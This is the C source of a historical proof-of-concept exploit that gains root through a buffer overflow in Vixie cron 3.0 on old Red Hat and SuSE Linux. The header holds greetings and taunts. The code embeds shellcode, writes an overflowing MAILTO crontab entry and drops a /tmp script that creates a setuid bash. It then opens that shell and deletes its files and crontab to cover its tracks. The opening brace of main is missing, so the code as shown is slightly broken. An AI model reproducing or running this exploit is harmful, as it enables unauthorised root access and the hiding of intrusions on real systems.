/*
 * VixieCron 3.0 Proof of Concept Exploit - w00w00
 * 
 * Not only does Paul give up root with this one, but with his creative use of
 * strtok() he actually ends up putting the address of our shellcode in eip.  
 * 
 * Many Thanks: Cheez Wiz, Sangfroid
 * Thanks: stran9er, Shok
 * Props: attrition.org,mea_culpa,awr,minus,Int29,napster,el8.org,w00w00
 * Drops: Vixie, happyhacker.org, antionline.com, <insert your favorite web \
 *        defacement group here>
 *        
 * Hellos: pm,cy,bm,ceh,jm,pf,bh,wjg,spike.
 * 
 * -jbowie@el8.org
 * 
 * RedHat Linux 6.0
 * RedHat Linux 5.2
 * RedHat Linux 4.2
 * S.u.S.E. Linux 6.1
 * S.u.S.E. Linux 6.0
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <pwd.h>

char shellcode[] =
  "\xeb\x40\x5e\x89\x76\x0c\x31\xc0\x89\x46\x0b\x89\xf3\xeb"
  "\x27w00w00:Ifwewerehackerswedownyourdumbass\x8d\x4e"
  "\x0c\x31\xd2\x89\x56\x16\xb0\x0b\xcd\x80\xe8\xbb\xff\xff"
  "\xff/tmp/w00w00";

int
main(int argc,char *argv[])

FILE *cfile,*tmpfile;
struct stat sbuf;
struct passwd *pw;
int x;

pw = getpwuid(getuid());

chdir(pw->pw_dir);
cfile = fopen("./cronny","a+");
tmpfile = fopen("/tmp/w00w00","a+");

fprintf(cfile,"MAILTO=");
for(x=0;x<96;x++)
  fprintf(cfile,"w00w00 ");
fprintf(cfile,"%s",shellcode);
fprintf(cfile,"\n* * * * * date\n");
fflush(cfile);

fprintf(tmpfile,"#!/bin/sh\ncp /bin/bash %s\nchmod 4755 %s/bash\n", pw->pw_dir,pw->pw_dir);
fflush(tmpfile);

fclose(cfile),fclose(tmpfile);

chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH);

if(!(fork()))
  {
    execl("/usr/bin/crontab","crontab","./cronny",(char *)0);
  }
else
  {
    printf("Waiting for shell be patient....\n");
    for(;;)
      {
        if(!(stat("./bash",&sbuf)))
          {
            break;
          }
        else
          {
            sleep(5);
          }
      }
    if((fork()))
      {
        printf("Thank you for using w00warez!\n");
        execl("./bash","bash",(char *)0);
      }
    else
      {
        remove("/tmp/w00w00");
        sleep(5);
        remove("./bash");
        remove("./cronny");
        execl("/usr/bin/crontab","crontab","-r",(char *)0);
      }
  }
}
/*                    www.hack.co.za              [2000]*/